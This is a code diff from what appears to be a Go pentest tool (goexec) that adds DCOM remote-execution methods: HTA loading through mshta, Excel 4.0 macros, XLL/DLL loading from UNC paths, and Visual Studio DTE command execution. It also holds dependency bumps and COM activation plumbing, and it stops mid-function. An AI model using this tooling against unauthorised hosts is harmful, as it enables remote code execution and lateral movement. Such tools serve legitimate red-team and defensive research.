dcomHtafileCmd = &cobra.Command{
|
||||
Use: "htafile [target]",
|
||||
Short: "Execute with the HTAFile DCOM object",
|
||||
Long: `Description:
|
||||
The htafile method uses the exposed "HTML Application" DCOM object to load a remote HTA application or execute inline.
|
||||
This is made possible by the Load method of the IPersistMoniker interface.`,
|
||||
Args: args(argsRpcClient("host", ""), argsOutput("smb")),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
dcomHtafile.Client = &rpcClient
|
||||
dcomHtafile.Url = dcomexec.HtafileGetUrl(dcomHtafile.Url, dcomHtafile.Javascript, dcomHtafile.Vbscript, &exec)
|
||||
|
||||
if url := strings.ToLower(dcomHtafile.Url); (strings.HasPrefix(url, "javascript:") || strings.HasPrefix(url, "vbscript:")) && len(url) > 508 {
|
||||
return fmt.Errorf("script URL exceeds maximum length supported by mshta.exe (%d > 508)", len(url))
|
||||
}
|
||||
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodHtafile).
|
||||
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
|
||||
|
||||
if err := goexec.ExecuteCleanMethod(ctx, &dcomHtafile, &exec); err != nil {
|
||||
log.Fatal().Err(err).Msg("Operation failed")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
dcomExcelMacroCmd = &cobra.Command{
|
||||
Use: "macro [target]",
|
||||
Short: "Execute using Excel 4.0 macros (XLM)",
|
||||
Long: `Description:
|
||||
The macro method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing
|
||||
XLM macros at will. This method requires that the remote host has Microsoft Excel installed.`,
|
||||
Args: args(argsRpcClient("host", ""), argsOutput("smb"),
|
||||
func(*cobra.Command, []string) error {
|
||||
if dcomExcelMacro.MacroFile != "" {
|
||||
f, err := os.Open(dcomExcelMacro.MacroFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open macro file: %w", err)
|
||||
}
|
||||
defer func() { _ = f.Close() }()
|
||||
b, err := io.ReadAll(f)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read macro file: %w", err)
|
||||
}
|
||||
dcomExcelMacro.Macros = strings.Split(string(b), "\n")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
),
|
||||
Run: func(*cobra.Command, []string) {
|
||||
dcomExcelMacro.Client = &rpcClient
|
||||
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelMacro).
|
||||
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
|
||||
|
||||
if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelMacro, &exec); err != nil {
|
||||
log.Fatal().Err(err).Msg("Operation failed")
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
dcomExcelXllCmd = &cobra.Command{
|
||||
Use: "xll [target]",
|
||||
Short: "Execute by Loading an XLL add-in",
|
||||
Long: `Description:
|
||||
The xll method uses the exposed Excel.Application DCOM object to call RegisterXLL, thus loading a XLL/DLL.
|
||||
The XLL location (--xll) can be a path on the remote filesystem or an UNC path. This method requires that the
|
||||
remote host has Microsoft Excel installed.`,
|
||||
Args: args(argsRpcClient("host", "")),
|
||||
Run: func(*cobra.Command, []string) {
|
||||
dcomExcelXll.Client = &rpcClient
|
||||
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXLL).
|
||||
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
|
||||
|
||||
if err := goexec.ExecuteCleanAuxiliaryMethod(ctx, &dcomExcelXll); err != nil {
|
||||
log.Fatal().Err(err).Msg("Operation failed")
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
dcomVisualStudioDteCmd = &cobra.Command{
|
||||
Use: "dte [target]",
|
||||
Short: "Execute with the VisualStudio.DTE object",
|
||||
Long: `Description:
|
||||
The dte method uses the exposed VisualStudio.DTE object to spawn a process via the ExecuteCommand method. This method
|
||||
requires that the remote host has Microsoft Visual Studio installed.`,
|
||||
Args: args(argsRpcClient("host", ""), argsOutput("smb")),
|
||||
Run: func(*cobra.Command, []string) {
|
||||
dcomVisualStudioDte.Client = &rpcClient
|
||||
ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodVisualStudioDTE).
|
||||
Logger().WithContext(gssapi.NewSecurityContext(context.Background()))
|
||||
|
||||
if err := goexec.ExecuteCleanMethod(ctx, &dcomVisualStudioDte, &exec); err != nil {
|
||||
log.Fatal().Err(err).Msg("Operation failed")
|
||||
}
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
@@ -9,14 +9,14 @@ toolchain go1.24.4
|
||||
require (
|
||||
github.com/RedTeamPentesting/adauth v0.5.0
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/oiweiwei/go-msrpc v1.2.7
|
||||
github.com/oiweiwei/go-msrpc v1.2.8
|
||||
github.com/oiweiwei/go-smb2.fork v1.0.0
|
||||
github.com/rs/zerolog v1.34.0
|
||||
github.com/spf13/cobra v1.9.1
|
||||
github.com/spf13/pflag v1.0.7
|
||||
golang.org/x/net v0.43.0
|
||||
golang.org/x/term v0.34.0
|
||||
golang.org/x/text v0.28.0
|
||||
github.com/spf13/cobra v1.10.1
|
||||
github.com/spf13/pflag v1.0.10
|
||||
golang.org/x/net v0.44.0
|
||||
golang.org/x/term v0.35.0
|
||||
golang.org/x/text v0.29.0
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -33,7 +33,7 @@ require (
|
||||
github.com/mattn/go-colorable v0.1.14 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 // indirect
|
||||
golang.org/x/crypto v0.41.0 // indirect
|
||||
golang.org/x/sys v0.35.0 // indirect
|
||||
golang.org/x/crypto v0.42.0 // indirect
|
||||
golang.org/x/sys v0.36.0 // indirect
|
||||
software.sslmate.com/src/go-pkcs12 v0.6.0 // indirect
|
||||
)
|
||||
|
||||
@@ -42,8 +42,8 @@ github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/
|
||||
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/oiweiwei/go-msrpc v1.2.7 h1:sDZsoeOCwQSqndZQ4QFeEaAWrSUilNal2tPYhzPj18U=
|
||||
github.com/oiweiwei/go-msrpc v1.2.7/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls=
|
||||
github.com/oiweiwei/go-msrpc v1.2.8 h1:myqs335MG/BmNAxZ/+ojh4CFONMo35q5NockkG+6uBw=
|
||||
github.com/oiweiwei/go-msrpc v1.2.8/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls=
|
||||
github.com/oiweiwei/go-smb2.fork v1.0.0 h1:xHq/eYPM8hQEO/nwCez8YwHWHC8mlcsgw/Neu52fPN4=
|
||||
github.com/oiweiwei/go-smb2.fork v1.0.0/go.mod h1:h0CzLVvGAmq39izdYVHKyI5cLv6aHdbQAMKEe4dz4N8=
|
||||
github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 h1:zHeZ/qjAAWrvsY1QltduANZLQ023APBYkPFJoHLA0ik=
|
||||
@@ -55,11 +55,11 @@ github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
|
||||
github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY=
|
||||
github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo=
|
||||
github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
|
||||
github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/pflag v1.0.7 h1:vN6T9TfwStFPFM5XzjsvmzZkLuaLX+HS+0SeFLRgU6M=
|
||||
github.com/spf13/pflag v1.0.7/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s=
|
||||
github.com/spf13/cobra v1.10.1/go.mod h1:7SmJGaTHFVBY0jW4NXGluQoLvhqFQM+6XSKD+P4XaB0=
|
||||
github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
|
||||
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
@@ -73,8 +73,8 @@ github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5t
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.41.0 h1:WKYxWedPGCTVVl5+WHSSrOBT0O8lx32+zxmHxijgXp4=
|
||||
golang.org/x/crypto v0.41.0/go.mod h1:pO5AFd7FA68rFak7rOAGVuygIISepHftHnr8dr6+sUc=
|
||||
golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI=
|
||||
golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
@@ -82,8 +82,8 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
|
||||
golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
|
||||
golang.org/x/net v0.44.0 h1:evd8IRDyfNBMBTTY5XRF1vaZlD+EmWx6x8PkhR04H/I=
|
||||
golang.org/x/net v0.44.0/go.mod h1:ECOoLqd5U3Lhyeyo/QDCEVQ4sNgYsqvCZ722XogGieY=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@@ -95,19 +95,19 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
|
||||
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k=
|
||||
golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.34.0 h1:O/2T7POpk0ZZ7MAzMeWFSg6S5IpWd/RXDlM9hgM3DR4=
|
||||
golang.org/x/term v0.34.0/go.mod h1:5jC53AEywhIVebHgPVeg0mj8OD3VO9OzclacVrqpaAw=
|
||||
golang.org/x/term v0.35.0 h1:bZBVKBudEyhRcajGcNc3jIfWPqV4y/Kt2XcoigOWtDQ=
|
||||
golang.org/x/term v0.35.0/go.mod h1:TPGtkTLesOwf2DE8CgVYiZinHAOuy5AYUYT1lENIZnA=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng=
|
||||
golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU=
|
||||
golang.org/x/text v0.29.0 h1:1neNs90w9YzJ9BocxfsQNHKuAT4pkghyXc4nhZ6sJvk=
|
||||
golang.org/x/text v0.29.0/go.mod h1:7MhJOA9CD2qZyOKYazxdYMF85OwPdEr9jTtBpO7ydH4=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
package util
|
||||
|
||||
import (
|
||||
"github.com/google/uuid"
|
||||
"math/rand" // not crypto secure
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
const randHostnameCharset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-"
|
||||
@@ -24,6 +25,13 @@ func RandomHostname() (hostname string) {
|
||||
}
|
||||
}
|
||||
|
||||
func Truncate(s string, n int) string {
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
return s[:n] + "..."
|
||||
}
|
||||
|
||||
func RandomWindowsTempFile() string {
|
||||
return `\Windows\Temp\` + strings.ToUpper(uuid.New().String())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
package dcomexec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/oiweiwei/go-msrpc/dcerpc"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iactivation/v0"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iremotescmactivator/v0"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
|
||||
const (
|
||||
OptRemoteCreateInstance = "RemoteCreateInstance"
|
||||
OptRemoteActivation = "RemoteActivation"
|
||||
)
|
||||
|
||||
// remoteCreateInstance creates a new instance of a COM class on a remote machine using RemoteCreateInstance (opnum 4).
|
||||
func (m *Dcom) remoteCreateInstance(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) {
|
||||
if cls == nil {
|
||||
return nil, fmt.Errorf("class ID is nil")
|
||||
}
|
||||
ap := &dcom.ActivationProperties{
|
||||
DestinationContext: 2,
|
||||
Properties: []dcom.ActivationProperty{
|
||||
&dcom.InstantiationInfoData{
|
||||
ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(cls)),
|
||||
IID: []*dcom.IID{iid},
|
||||
ClientCOMVersion: m.comVersion,
|
||||
},
|
||||
&dcom.ActivationContextInfoData{},
|
||||
&dcom.LocationInfoData{},
|
||||
&dcom.SCMRequestInfoData{
|
||||
RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{
|
||||
RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
apin, err := ap.ActivationPropertiesIn()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, conn)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{
|
||||
ORPCThis: &dcom.ORPCThis{Version: m.comVersion},
|
||||
ActPropertiesIn: apin,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
apout := new(dcom.ActivationProperties)
|
||||
if err = apout.Parse(cr.ActPropertiesOut); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if si := apout.SCMReplyInfoData(); si != nil {
|
||||
opts = append(opts, normalizeStringBindings(si.RemoteReply.OXIDBindings.GetStringBindings())...)
|
||||
} else {
|
||||
return nil, fmt.Errorf("remote create instance response: SCMReplyInfoData is nil")
|
||||
}
|
||||
if pi := apout.PropertiesOutInfo(); pi != nil && pi.InterfaceData != nil && len(pi.InterfaceData) > 0 {
|
||||
opts = append(opts, dcom.WithIPID(pi.InterfaceData[0].GetStandardObjectReference().Std.IPID))
|
||||
} else {
|
||||
return nil, fmt.Errorf("remote create instance response: PropertiesOutInfo is nil")
|
||||
}
|
||||
return opts, err
|
||||
}
|
||||
|
||||
// remoteActivation activates a COM class on a remote machine using RemoteActivation (opnum 0).
|
||||
func (m *Dcom) remoteActivation(ctx context.Context, conn dcerpc.Conn, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) {
|
||||
if cls == nil {
|
||||
return nil, fmt.Errorf("class ID is nil")
|
||||
}
|
||||
ac, err := iactivation.NewActivationClient(ctx, conn)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("init activation client: %w", err)
|
||||
}
|
||||
act, err := ac.RemoteActivation(ctx, &iactivation.RemoteActivationRequest{
|
||||
ORPCThis: &dcom.ORPCThis{Version: m.comVersion},
|
||||
ClassID: dtyp.GUIDFromUUID(cls),
|
||||
IIDs: []*dcom.IID{iid},
|
||||
RequestedProtocolSequences: []uint16{7, 15}, // ncacn_ip_tcp, ncacn_np
|
||||
})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("remote activation: %w", err)
|
||||
}
|
||||
if act.HResult != 0 {
|
||||
return nil, hresult.FromCode(uint32(act.HResult))
|
||||
}
|
||||
return append(normalizeStringBindings(act.OXIDBindings.GetStringBindings()),
|
||||
dcom.WithIPID(act.InterfaceData[0].GetStandardObjectReference().Std.IPID)), nil
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package dcomexec
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
|
||||
)
|
||||
|
||||
type contextKey string
|
||||
|
||||
const (
|
||||
// contextKeyComVersion (dcom.COMVersion) carries the effective COM version
|
||||
contextKeyComVersion contextKey = "ComVersion"
|
||||
contextDefaultComVersionMajor uint16 = 5
|
||||
contextDefaultComVersionMinor uint16 = 7
|
||||
|
||||
// contextKeyGetComVersion (bool) determines whether to call getComVersion (ServerAlive2) to determine the COM version.
|
||||
// If this is false, defaultComVersionMajor, contextDefaultComVersionMinor will be used.
|
||||
contextKeyGetComVersion contextKey = "GetComVersion"
|
||||
contextDefaultGetComVersion = true
|
||||
|
||||
contextKeyCreateInstanceMethod contextKey = "CreateInstanceMethod"
|
||||
contextDefaultCreateInstanceMethod = OptRemoteCreateInstance
|
||||
)
|
||||
|
||||
func contextGetComVersion(ctx context.Context) bool {
|
||||
if v := ctx.Value(contextKeyGetComVersion); v != nil {
|
||||
if g, ok := v.(bool); ok {
|
||||
return g
|
||||
}
|
||||
}
|
||||
return contextDefaultGetComVersion
|
||||
}
|
||||
|
||||
// contextComVersion will return the effective COM version (*dcom.COMVersion) from a context.
|
||||
// If no COM Version is set and GetComVersion is true, nil is returned
|
||||
func contextComVersion(ctx context.Context) *dcom.COMVersion {
|
||||
if v := ctx.Value(contextKeyComVersion); v != nil {
|
||||
if g, ok := v.(dcom.COMVersion); ok {
|
||||
return &g
|
||||
}
|
||||
}
|
||||
if !contextGetComVersion(ctx) {
|
||||
return &dcom.COMVersion{
|
||||
MajorVersion: contextDefaultComVersionMajor,
|
||||
MinorVersion: contextDefaultComVersionMinor,
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func contextCreateInstanceMethod(ctx context.Context) string {
|
||||
if v := ctx.Value(contextKeyCreateInstanceMethod); v != nil {
|
||||
if g, ok := v.(string); ok {
|
||||
return g
|
||||
}
|
||||
}
|
||||
return contextDefaultCreateInstanceMethod
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package dcomexec
|
||||
|
||||
import (
|
||||
googleUUID "github.com/google/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
|
||||
)
|
||||
|
||||
const (
|
||||
LcEnglishUs uint32 = 0x409
|
||||
)
|
||||
|
||||
var (
|
||||
ShellBrowserWindowUuid = uuid.MustParse("C08AFD90-F2A1-11D1-8455-00A0C91F3880")
|
||||
ShellWindowsUuid = uuid.MustParse("9BA05972-F6A8-11CF-A442-00A0C90A8F39")
|
||||
Mmc20Uuid = uuid.MustParse("49B2791A-B1AE-4C90-9B8E-E860BA07F889")
|
||||
|
||||
RandCid = dcom.CID(*dtyp.GUIDFromUUID(uuid.MustParse(googleUUID.NewString())))
|
||||
IDispatchIID = &dcom.IID{
|
||||
Data1: 0x20400,
|
||||
Data2: 0x0,
|
||||
Data3: 0x0,
|
||||
Data4: []byte{0xc0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x46},
|
||||
}
|
||||
ComVersion = &dcom.COMVersion{
|
||||
MajorVersion: 5,
|
||||
MinorVersion: 7,
|
||||
}
|
||||
ORPCThis = &dcom.ORPCThis{
|
||||
Version: ComVersion,
|
||||
CID: &RandCid,
|
||||
}
|
||||
)
|
||||
@@ -0,0 +1,95 @@
|
||||
package dcomexec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/oiweiwei/go-msrpc/dcerpc"
|
||||
"github.com/oiweiwei/go-msrpc/midl/uuid"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut"
|
||||
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0"
|
||||
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
|
||||
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
|
||||
)
|
||||
|
||||
const (
|
||||
LcEnglishUs uint32 = 0x409
|
||||
)
|
||||
|
||||
// Dispatch represents a DCOM IDispatch client
|
||||
type Dispatch struct {
|
||||
Dcom
|
||||
dispatch idispatch.DispatchClient
|
||||
}
|
||||
|
||||
// getDispatch will create an IDispatch instance of the provided class
|
||||
func (m *Dispatch) getDispatch(ctx context.Context, cls *uuid.UUID) error {
|
||||
opts, err := m.bindInstance(ctx, cls, idispatch.DispatchIID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
m.dispatch, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), opts...) // Might need those dcerpc.Options?
|
||||
if err != nil {
|
||||
return fmt.Errorf("init IDispatch client: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// callComMethod calls a COM method on a remote object using the IDispatch interface.
|
||||
//
|
||||
// The method is specified as a dot-separated string, e.g. "ShellWindows.Item" to call the Item method on the ShellWindows object.
|
||||
//
|
||||
// The method arguments are passed as *oaut.Variant.
|
||||
//
|
||||
// The method returns an *idispatch.InvokeResponse, which contains the result of the method call.
|
||||
//
|
||||
// The method will automatically follow the IDispatch interface to get the object specified in the method name, e.g. "ShellWindows.Item" will
|
||||
// automatically call "ShellWindows.Item.QueryInterface" to get the IDispatch interface of the object, then call "Item.Invoke" to call the method.
|
||||
func (m *Dispatch) callComMethod(ctx context.Context, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) {
|
||||
parts := strings.Split(method, ".")
|
||||
|
||||
for i, obj := range parts {
|
||||
var opts []dcerpc.CallOption
|
||||
if id != nil {
|
||||
opts = append(opts, dcom.WithIPID(id))
|
||||
}
|
||||
gr, err := m.dispatch.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{
|
||||
This: &dcom.ORPCThis{Version: m.comVersion},
|
||||
IID: &dcom.IID{},
|
||||
LocaleID: LcEnglishUs,
|
||||
Names: []string{obj},
|
||||
}, opts...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("call %q: get dispatch ID of name %q: %w", method, obj, err)
|
||||
}
|
||||
if len(gr.DispatchID) < 1 {
|
||||
return nil, fmt.Errorf("call %q: dispatch ID of name %q not found", method, obj)
|
||||
}
|
||||
irq := &idispatch.InvokeRequest{
|
||||
This: &dcom.ORPCThis{Version: m.comVersion},
|
||||
IID: &dcom.IID{},
|
||||
LocaleID: LcEnglishUs,
|
||||
DispatchIDMember: gr.DispatchID[0],
|
||||
}
|
||||
if i >= len(parts)-1 {
|
||||
irq.Flags = 1
|
||||
irq.DispatchParams = &oaut.DispatchParams{Args: args}
|
||||
return m.dispatch.Invoke(ctx, irq, opts...)
|
||||
}
|
||||
irq.Flags = 2
|
||||
ir, err = m.dispatch.Invoke(ctx, irq, opts...)
|
||||
if err != nil {
|
||||
